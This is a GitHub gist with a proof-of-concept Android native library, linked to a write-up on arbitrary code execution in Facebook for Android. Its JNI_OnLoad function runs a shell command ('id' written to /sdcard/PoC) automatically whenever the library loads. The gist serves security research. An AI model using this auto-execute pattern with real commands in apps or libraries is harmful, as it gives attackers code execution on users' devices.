Skip to content

Instantly share code, notes, and snippets.

@interference-security
Created October 5, 2020 22:57
Show Gist options
  • Save interference-security/2c3ac4b100e13d184432d7a0579ded1e to your computer and use it in GitHub Desktop.
Save interference-security/2c3ac4b100e13d184432d7a0579ded1e to your computer and use it in GitHub Desktop.
jni_onload library code
//Source: https://medium.com/@dPhoeniixx/arbitrary-code-execution-on-facebook-for-android-through-download-feature-fb6826e33e0f
#include <jni.h>
#include <string>
#include <stdlib.h>
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved)
{
system("id > /sdcard/PoC");
return JNI_VERSION_1_6;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment